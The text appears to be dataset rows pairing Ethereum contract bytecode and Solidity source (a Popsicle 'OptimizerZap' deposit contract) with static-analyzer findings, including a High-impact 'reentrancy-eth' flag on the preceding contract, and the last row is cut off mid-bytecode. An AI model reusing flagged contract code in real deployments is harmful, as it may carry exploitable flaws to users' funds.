48201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061179961149b565b905060006117a783836118a2565b306000908152600260205260409020549091506117c49082611730565b30600090815260026020526040902055505050565b6006546117e690836116ee565b6006556007546117f69082611730565b6007555050565b6000808080611817606461181189896118a2565b906114be565b9050600061182a60646118118a896118a2565b905060006118428261183c8b866116ee565b906116ee565b9992985090965090945050505050565b600080808061186188866118a2565b9050600061186f88876118a2565b9050600061187d88886118a2565b9050600061188f8261183c86866116ee565b939b939a50919850919650505050505050565b6000826118b1575060006106aa565b60006118bd8385611d8e565b9050826118ca8583611d6c565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561195781611937565b919050565b6000602080838503121561196f57600080fd5b823567ffffffffffffffff8082111561198757600080fd5b818501915085601f83011261199b57600080fd5b8135818111156119ad576119ad611921565b8060051b604051601f19603f830116810181811085821117156119d2576119d2611921565b6040529182528482019250838101850191888311156119f057600080fd5b938501935b82851015611a1557611a068561194c565b845293850193928501926119f5565b98975050505050505050565b600060208083528351808285015260005b81811015611a4e57858101830151858201604001528201611a32565b81811115611a60576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8957600080fd5b8235611a9481611937565b946020939093013593505050565b600080600060608486031215611ab757600080fd5b8335611ac281611937565b92506020840135611ad281611937565b929592945050506040919091013590565b600060208284031215611af557600080fd5b81356112dd81611937565b8035801515811461195757600080fd5b600060208284031215611b2257600080fd5b6112dd82611b00565b600060208284031215611b3d57600080fd5b5035919050565b60008060008060808587031215611b5a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8b57600080fd5b833567ffffffffffffffff80821115611ba357600080fd5b818601915086601f830112611bb757600080fd5b813581811115611bc657600080fd5b8760208260051b8501011115611bdb57600080fd5b602092830195509350611bf19186019050611b00565b90509250925092565b60008060408385031215611c0d57600080fd5b8235611c1881611937565b91506020830135611c2881611937565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca857611ca8611c7e565b5060010190565b60008219821115611cc257611cc2611c7e565b500190565b600082821015611cd957611cd9611c7e565b500390565b600060208284031215611cf057600080fd5b81516112dd81611937565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4b5784516001600160a01b031683529383019391830191600101611d26565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da857611da8611c7e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044be73e7d223ab0cfc8705b57c4f83827ebebe9d5efe9fc5ab0b77c71fd1062d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 683 |
0x5be13d0ef77373401d82081b6ef0c844065bd7dd | /**
*Submitted for verification at Etherscan.io on 2021-10-11
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
interface IUniswapV3PoolActions {
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
}
interface IUniswapV3PoolDerivedState {
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
}
interface IUniswapV3PoolImmutables {
function token0() external view returns (address);
function token1() external view returns (address);
function tickSpacing() external view returns (int24);
}
interface IUniswapV3PoolState {
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
}
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions
{
}
interface IPopsicleV3Optimizer {
function token0() external view returns (address);
function token1() external view returns (address);
function tickSpacing() external view returns (int24);
function pool() external view returns (IUniswapV3Pool);
function tickLower() external view returns (int24);
function tickUpper() external view returns (int24);
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address to
)
external
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
);
function withdraw(uint256 shares, address to) external returns (uint256 amount0, uint256 amount1);
function rerange() external;
function rebalance() external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IChi is IERC20 {
function mint(uint256 value) external;
function free(uint256 value) external returns (uint256 freed);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
}
interface IGasDiscountExtension {
function calculateGas(uint256 gasUsed, uint256 flags, uint256 calldataLength) external view returns (IChi, uint256);
}
interface IAggregationExecutor is IGasDiscountExtension {
function callBytes(bytes calldata data) external payable; // 0xd9c45357
}
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
}
interface IRouter {
struct SwapDescription {
IERC20 srcToken;
IERC20 dstToken;
address srcReceiver;
address dstReceiver;
uint256 amount;
uint256 minReturnAmount;
uint256 flags;
bytes permit;
}
function swap(IAggregationExecutor caller, SwapDescription calldata desc, bytes calldata data) external payable returns (uint256 returnAmount, uint256 gasLeft);
function unoswap(IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata ) external payable returns(uint256 returnAmount);
}
contract OptimizerZap {
IRouter constant router = IRouter(0x11111112542D85B3EF69AE05771c2dCCff4fAa26);
address constant eth = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public immutable DAO;
event ExtraTokens(
uint256 extraAmount0,
uint256 extraAmount1
);
struct Cache {
uint256 amount0;
uint256 amount1;
uint256 return0Amount;
uint256 return1Amount;
}
struct TokenData {
bool IsUno;
IAggregationExecutor caller;
IRouter.SwapDescription desc;
bytes data;
bytes32[] pools;
}
constructor(address _DAO) {
DAO = _DAO;
}
function DepositInEth(address optimizer, address to, TokenData calldata tokenData) external payable {
uint value = msg.value;
address token0 = IPopsicleV3Optimizer(optimizer).token0();
address token1 = IPopsicleV3Optimizer(optimizer).token1();
IWETH9(weth).deposit{value: value}();
IWETH9(weth).approve(optimizer, value);
require(token0 == weth || token1 == weth, "BO");
if (token0 == weth) {
require(token1 == address(tokenData.desc.srcToken), "TNA");
TransferHelper.safeTransferFrom(token1, msg.sender, address(this), tokenData.desc.amount);
IERC20(token1).approve(optimizer, tokenData.desc.amount);
(, uint256 amount0,uint256 amount1) = IPopsicleV3Optimizer(optimizer).deposit(value, tokenData.desc.amount, to);
require(value >= amount0, "UA0");
require(tokenData.desc.amount >= amount1, "UA1");
_removeAllowance(token1, optimizer);
emit ExtraTokens(value-amount0, tokenData.desc.amount-amount1);
} else {
require(token0 == address(tokenData.desc.srcToken), "TNA");
TransferHelper.safeTransferFrom(token0, msg.sender, address(this), tokenData.desc.amount);
IERC20(token0).approve(optimizer, tokenData.desc.amount);
(, uint256 amount0,uint256 amount1) =IPopsicleV3Optimizer(optimizer).deposit(tokenData.desc.amount, value, to);
require(tokenData.desc.amount >= amount0, "UA0");
require(value >= amount1, "UA1");
_removeAllowance(token0, optimizer);
emit ExtraTokens(tokenData.desc.amount-amount0, value-amount1);
}
_removeAllowance(weth, optimizer);
}
function ZapIn(address tokenIn, uint amount, address optimizer, address to, TokenData calldata token0Data, TokenData calldata token1Data) external payable {
require(optimizer != address(0));
require(to != address(0));
address token0 = IPopsicleV3Optimizer(optimizer).token0();
address token1 = IPopsicleV3Optimizer(optimizer).token1();
require(tokenIn == address(token0Data.desc.srcToken), "NAT0");
require(tokenIn == address(token1Data.desc.srcToken), "NAT1");
require(token0 == address(token0Data.desc.dstToken), "IT0");
require(token1 == address(token1Data.desc.dstToken), "IT1");
require(token0Data.desc.amount + token1Data.desc.amount <= amount, "IA");
Cache memory cache;
if (tokenIn == eth || tokenIn == address(0)) {
require(amount <= msg.value, "BA");
if (token0 == weth) {
IWETH9(weth).deposit{value: token0Data.desc.amount}();
IWETH9(weth).approve(optimizer, token0Data.desc.amount);
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap{value: token1Data.desc.amount}(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount, ) = router.swap{value: token1Data.desc.amount}(token1Data.caller, token1Data.desc, token1Data.data);
}
IERC20(token1).approve(optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(token0Data.desc.amount, cache.return1Amount, to);
require(token0Data.desc.amount >= cache.amount0, "UA0");
require(cache.return1Amount >= cache.amount1, "UA1");
emit ExtraTokens(token0Data.desc.amount-cache.amount0, cache.return1Amount-cache.amount1);
} else if (token1 == weth) {
IWETH9(weth).deposit{value: token1Data.desc.amount}();
IWETH9(weth).approve(optimizer, token1Data.desc.amount);
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap{value: token0Data.desc.amount}(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount, ) = router.swap{value: token0Data.desc.amount}(token0Data.caller, token0Data.desc, token0Data.data);
}
IERC20(token0).approve(optimizer, cache.return0Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, token1Data.desc.amount, to);
require(cache.return0Amount >= cache.amount0, "UA0");
require(token1Data.desc.amount >= cache.amount1, "UA1");
emit ExtraTokens(cache.return0Amount-cache.amount0, token1Data.desc.amount-cache.amount1);
} else {
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap{value: token0Data.desc.amount}(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount, ) = router.swap{value: token0Data.desc.amount}(token0Data.caller, token0Data.desc, token0Data.data);
}
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap{value: token1Data.desc.amount}(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount, ) = router.swap{value: token1Data.desc.amount}(token1Data.caller, token1Data.desc, token1Data.data);
}
IERC20(token0).approve(optimizer, cache.return0Amount);
IERC20(token1).approve(optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, cache.return1Amount, to);
require(cache.return0Amount >= cache.amount0, "UA0");
require(cache.return1Amount >= cache.amount1, "UA1");
emit ExtraTokens(cache.return0Amount-cache.amount0, cache.return1Amount-cache.amount1);
}
_removeAllowance(token0, optimizer);
_removeAllowance(token1, optimizer);
return;
} else {
TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amount);
IERC20(tokenIn).approve(address(router), amount);
if (tokenIn == token0) {
cache.return0Amount = token0Data.desc.amount;
} else {
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount, ) = router.swap(token0Data.caller, token0Data.desc, token0Data.data);
}
}
if (tokenIn == token1) {
cache.return1Amount = token1Data.desc.amount;
} else {
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount, ) = router.swap(token1Data.caller, token1Data.desc, token1Data.data);
}
}
IERC20(token0).approve(optimizer, cache.return0Amount);
IERC20(token1).approve(optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, cache.return1Amount, to);
require(cache.return0Amount >= cache.amount0, "UA0");
require(cache.return1Amount >= cache.amount1, "UA1");
emit ExtraTokens(cache.return0Amount-cache.amount0, cache.return1Amount-cache.amount1);
_removeAllowance(tokenIn, address(router));
_removeAllowance(token0, optimizer);
_removeAllowance(token1, optimizer);
return;
}
}
function _removeAllowance(address token, address spender) internal {
if (IERC20(token).allowance(address(this), spender) > 0){
IERC20(token).approve(spender, 0);
}
}
/* ======= AUXILLIARY ======= */
/**
* @notice allow anyone to send lost tokens (excluding principle or OHM) to the DAO
* @return bool
*/
function recoverLostToken( address _token ) external returns ( bool ) {
TransferHelper.safeTransfer(_token, DAO, IERC20( _token ).balanceOf( address(this)));
return true;
}
function refundETH() external returns ( bool ) {
if (address(this).balance > 0) TransferHelper.safeTransferETH(DAO, address(this).balance);
return true;
}
} | 0x60806040526004361061005a5760003560e01c806398fabd3a1161004357806398fabd3a1461009f5780639db005c5146100c1578063b4abccba146100d45761005a565b806312210e8a1461005f578063663f10c81461008a575b600080fd5b34801561006b57600080fd5b506100746100f4565b60405161008191906126fc565b60405180910390f35b61009d610098366004612480565b61012c565b005b3480156100ab57600080fd5b506100b46107dc565b6040516100819190612691565b61009d6100cf3660046124e0565b610800565b3480156100e057600080fd5b506100746100ef366004612441565b611f74565b60004715610126576101267f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b37347612025565b50600190565b60003490506000846001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561016c57600080fd5b505afa158015610180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101a49190612464565b90506000856001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156101e157600080fd5b505afa1580156101f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102199190612464565b905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0846040518263ffffffff1660e01b81526004016000604051808303818588803b15801561026a57600080fd5b505af115801561027e573d6000803e3d6000fd5b505060405163095ea7b360e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2935063095ea7b392506102bc9150899087906004016126e3565b600060405180830381600087803b1580156102d657600080fd5b505af11580156102ea573d6000803e3d6000fd5b505050506001600160a01b03821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2148061033557506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2145b61035a5760405162461bcd60e51b815260040161035190612ab3565b60405180910390fd5b6001600160a01b03821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214156105a05761038c6040850185612be1565b61039a906020810190612441565b6001600160a01b0316816001600160a01b0316146103ca5760405162461bcd60e51b815260040161035190612aea565b6103e68133306103dd6040890189612be1565b608001356120b7565b6001600160a01b03811663095ea7b3876104036040880188612be1565b608001356040518363ffffffff1660e01b81526004016104249291906126e3565b600060405180830381600087803b15801561043e57600080fd5b505af1158015610452573d6000803e3d6000fd5b5060009250829150506001600160a01b038816638dbdbe6d8661047860408a018a612be1565b608001358a6040518463ffffffff1660e01b815260040161049b93929190612b2f565b606060405180830381600087803b1580156104b557600080fd5b505af11580156104c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ed91906125f4565b9250925050818510156105125760405162461bcd60e51b8152600401610351906128c4565b806105206040880188612be1565b6080013510156105425760405162461bcd60e51b8152600401610351906129a0565b61054c83896121d4565b7f81ae8c56a0f81a8730507b25ff6b0d98282ba1839b6b7804db84fb458b6da3d68286038261057e60408a018a612be1565b6080013503604051610591929190612b21565b60405180910390a150506107b6565b6105ad6040850185612be1565b6105bb906020810190612441565b6001600160a01b0316826001600160a01b0316146105eb5760405162461bcd60e51b815260040161035190612aea565b6105fe8233306103dd6040890189612be1565b6001600160a01b03821663095ea7b38761061b6040880188612be1565b608001356040518363ffffffff1660e01b815260040161063c9291906126e3565b600060405180830381600087803b15801561065657600080fd5b505af115801561066a573d6000803e3d6000fd5b5060009250829150506001600160a01b038816638dbdbe6d61068f6040890189612be1565b60800135878a6040518463ffffffff1660e01b81526004016106b393929190612b2f565b606060405180830381600087803b1580156106cd57600080fd5b505af11580156106e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070591906125f4565b909350915082905061071a6040880188612be1565b60800135101561073c5760405162461bcd60e51b8152600401610351906128c4565b8085101561075c5760405162461bcd60e51b8152600401610351906129a0565b61076684896121d4565b7f81ae8c56a0f81a8730507b25ff6b0d98282ba1839b6b7804db84fb458b6da3d6826107956040890189612be1565b60800135038287036040516107ab929190612b21565b60405180910390a150505b6107d473c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2876121d4565b505050505050565b7f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b37381565b6001600160a01b03841661081357600080fd5b6001600160a01b03831661082657600080fd5b6000846001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561086157600080fd5b505afa158015610875573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108999190612464565b90506000856001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d657600080fd5b505afa1580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e9190612464565b905061091d6040850185612be1565b61092b906020810190612441565b6001600160a01b0316886001600160a01b03161461095b5760405162461bcd60e51b81526004016103519061288d565b6109686040840184612be1565b610976906020810190612441565b6001600160a01b0316886001600160a01b0316146109a65760405162461bcd60e51b8152600401610351906128fb565b6109b36040850185612be1565b6109c4906040810190602001612441565b6001600160a01b0316826001600160a01b0316146109f45760405162461bcd60e51b815260040161035190612a7c565b610a016040840184612be1565b610a12906040810190602001612441565b6001600160a01b0316816001600160a01b031614610a425760405162461bcd60e51b815260040161035190612856565b86610a506040850185612be1565b60800135610a616040870187612be1565b60800135011115610a845760405162461bcd60e51b8152600401610351906129d7565b610a8c6123f7565b6001600160a01b03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1480610abe57506001600160a01b038916155b156119555734881115610ae35760405162461bcd60e51b815260040161035190612a45565b6001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21415610f635773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc263d0e30db0610b2f6040880188612be1565b608001356040518263ffffffff1660e01b81526004016000604051808303818588803b158015610b5e57600080fd5b505af1158015610b72573d6000803e3d6000fd5b5073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2935063095ea7b392508a9150610ba390506040890189612be1565b608001356040518363ffffffff1660e01b8152600401610bc49291906126e3565b600060405180830381600087803b158015610bde57600080fd5b505af1158015610bf2573d6000803e3d6000fd5b50610c04925050506020850185612581565b15610ce0577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c8610c306040870187612be1565b608001358b610c426040890189612be1565b60800135610c5360408a018a612be1565b60a00135610c6460808b018b612b4e565b6040518763ffffffff1660e01b8152600401610c849594939291906127e5565b6020604051808303818588803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd691906125b9565b6060820152610dac565b7311111112542d85b3ef69ae05771c2dccff4faa26637c025200610d076040870187612be1565b60800135610d1b6040880160208901612441565b610d286040890189612be1565b610d3560608a018a612b9c565b6040518663ffffffff1660e01b8152600401610d549493929190612707565b60408051808303818588803b158015610d6c57600080fd5b505af1158015610d80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da591906125d1565b5060608201525b606081015160405163095ea7b360e01b81526001600160a01b0384169163095ea7b391610ddd918b916004016126e3565b600060405180830381600087803b158015610df757600080fd5b505af1158015610e0b573d6000803e3d6000fd5b5050506001600160a01b0388169050638dbdbe6d610e2c6040880188612be1565b608001358360600151896040518463ffffffff1660e01b8152600401610e5493929190612b2f565b606060405180830381600087803b158015610e6e57600080fd5b505af1158015610e82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea691906125f4565b60208401528083529050610ebd6040870187612be1565b608001351015610edf5760405162461bcd60e51b8152600401610351906128c4565b806020015181606001511015610f075760405162461bcd60e51b8152600401610351906129a0565b80517f81ae8c56a0f81a8730507b25ff6b0d98282ba1839b6b7804db84fb458b6da3d690610f386040880188612be1565b60800135038260200151836060015103604051610f56929190612b21565b60405180910390a1611939565b6001600160a01b03821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214156113dd5773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc263d0e30db0610faf6040870187612be1565b608001356040518263ffffffff1660e01b81526004016000604051808303818588803b158015610fde57600080fd5b505af1158015610ff2573d6000803e3d6000fd5b5073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2935063095ea7b392508a915061102390506040880188612be1565b608001356040518363ffffffff1660e01b81526004016110449291906126e3565b600060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b50611084925050506020860186612581565b15611160577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c86110b06040880188612be1565b608001358b6110c260408a018a612be1565b608001356110d360408b018b612be1565b60a001356110e460808c018c612b4e565b6040518763ffffffff1660e01b81526004016111049594939291906127e5565b6020604051808303818588803b15801561111d57600080fd5b505af1158015611131573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115691906125b9565b604082015261122c565b7311111112542d85b3ef69ae05771c2dccff4faa26637c0252006111876040880188612be1565b6080013561119b6040890160208a01612441565b6111a860408a018a612be1565b6111b560608b018b612b9c565b6040518663ffffffff1660e01b81526004016111d49493929190612707565b60408051808303818588803b1580156111ec57600080fd5b505af1158015611200573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122591906125d1565b5060408201525b604080820151905163095ea7b360e01b81526001600160a01b0385169163095ea7b39161125d918b916004016126e3565b600060405180830381600087803b15801561127757600080fd5b505af115801561128b573d6000803e3d6000fd5b50505050866001600160a01b0316638dbdbe6d82604001518680604001906112b39190612be1565b60800135896040518463ffffffff1660e01b81526004016112d693929190612b2f565b606060405180830381600087803b1580156112f057600080fd5b505af1158015611304573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132891906125f4565b60208401528083526040830151101590506113555760405162461bcd60e51b8152600401610351906128c4565b60208101516113676040860186612be1565b6080013510156113895760405162461bcd60e51b8152600401610351906129a0565b7f81ae8c56a0f81a8730507b25ff6b0d98282ba1839b6b7804db84fb458b6da3d6816000015182604001510382602001518680604001906113ca9190612be1565b6080013503604051610f56929190612b21565b6113ea6020860186612581565b156114c6577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c86114166040880188612be1565b608001358b61142860408a018a612be1565b6080013561143960408b018b612be1565b60a0013561144a60808c018c612b4e565b6040518763ffffffff1660e01b815260040161146a9594939291906127e5565b6020604051808303818588803b15801561148357600080fd5b505af1158015611497573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114bc91906125b9565b6040820152611592565b7311111112542d85b3ef69ae05771c2dccff4faa26637c0252006114ed6040880188612be1565b608001356115016040890160208a01612441565b61150e60408a018a612be1565b61151b60608b018b612b9c565b6040518663ffffffff1660e01b815260040161153a9493929190612707565b60408051808303818588803b15801561155257600080fd5b505af1158015611566573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061158b91906125d1565b5060408201525b61159f6020850185612581565b1561167b577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c86115cb6040870187612be1565b608001358b6115dd6040890189612be1565b608001356115ee60408a018a612be1565b60a001356115ff60808b018b612b4e565b6040518763ffffffff1660e01b815260040161161f9594939291906127e5565b6020604051808303818588803b15801561163857600080fd5b505af115801561164c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061167191906125b9565b6060820152611747565b7311111112542d85b3ef69ae05771c2dccff4faa26637c0252006116a26040870187612be1565b608001356116b66040880160208901612441565b6116c36040890189612be1565b6116d060608a018a612b9c565b6040518663ffffffff1660e01b81526004016116ef9493929190612707565b60408051808303818588803b15801561170757600080fd5b505af115801561171b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061174091906125d1565b5060608201525b604080820151905163095ea7b360e01b81526001600160a01b0385169163095ea7b391611778918b916004016126e3565b600060405180830381600087803b15801561179257600080fd5b505af11580156117a6573d6000803e3d6000fd5b50505050606081015160405163095ea7b360e01b81526001600160a01b0384169163095ea7b3916117db918b916004016126e3565b600060405180830381600087803b1580156117f557600080fd5b505af1158015611809573d6000803e3d6000fd5b50505060408083015160608401519151638dbdbe6d60e01b81526001600160a01b038b169350638dbdbe6d9261184492918b90600401612b2f565b606060405180830381600087803b15801561185e57600080fd5b505af1158015611872573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189691906125f4565b60208401528083526040830151101590506118c35760405162461bcd60e51b8152600401610351906128c4565b8060200151816060015110156118eb5760405162461bcd60e51b8152600401610351906129a0565b7f81ae8c56a0f81a8730507b25ff6b0d98282ba1839b6b7804db84fb458b6da3d681600001518260400151038260200151836060015103604051611930929190612b21565b60405180910390a15b61194383886121d4565b61194d82886121d4565b5050506107d4565b6119618933308b6120b7565b60405163095ea7b360e01b81526001600160a01b038a169063095ea7b3906119a3907311111112542d85b3ef69ae05771c2dccff4faa26908c906004016126e3565b600060405180830381600087803b1580156119bd57600080fd5b505af11580156119d1573d6000803e3d6000fd5b50505050826001600160a01b0316896001600160a01b03161415611a0a576119fc6040860186612be1565b608001356040820152611b9d565b611a176020860186612581565b15611ae2577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c88a611a446040890189612be1565b60800135611a5560408a018a612be1565b60a00135611a6660808b018b612b4e565b6040518663ffffffff1660e01b8152600401611a869594939291906127e5565b602060405180830381600087803b158015611aa057600080fd5b505af1158015611ab4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad891906125b9565b6040820152611b9d565b7311111112542d85b3ef69ae05771c2dccff4faa26637c025200611b0c6040880160208901612441565b611b196040890189612be1565b611b2660608a018a612b9c565b6040518563ffffffff1660e01b8152600401611b459493929190612707565b6040805180830381600087803b158015611b5e57600080fd5b505af1158015611b72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9691906125d1565b5060408201525b816001600160a01b0316896001600160a01b03161415611bd257611bc46040850185612be1565b608001356060820152611d65565b611bdf6020850185612581565b15611caa577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c88a611c0c6040880188612be1565b60800135611c1d6040890189612be1565b60a00135611c2e60808a018a612b4e565b6040518663ffffffff1660e01b8152600401611c4e9594939291906127e5565b602060405180830381600087803b158015611c6857600080fd5b505af1158015611c7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ca091906125b9565b6060820152611d65565b7311111112542d85b3ef69ae05771c2dccff4faa26637c025200611cd46040870160208801612441565b611ce16040880188612be1565b611cee6060890189612b9c565b6040518563ffffffff1660e01b8152600401611d0d9493929190612707565b6040805180830381600087803b158015611d2657600080fd5b505af1158015611d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d5e91906125d1565b5060608201525b604080820151905163095ea7b360e01b81526001600160a01b0385169163095ea7b391611d96918b916004016126e3565b600060405180830381600087803b158015611db057600080fd5b505af1158015611dc4573d6000803e3d6000fd5b50505050606081015160405163095ea7b360e01b81526001600160a01b0384169163095ea7b391611df9918b916004016126e3565b600060405180830381600087803b158015611e1357600080fd5b505af1158015611e27573d6000803e3d6000fd5b50505060408083015160608401519151638dbdbe6d60e01b81526001600160a01b038b169350638dbdbe6d92611e6292918b90600401612b2f565b606060405180830381600087803b158015611e7c57600080fd5b505af1158015611e90573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019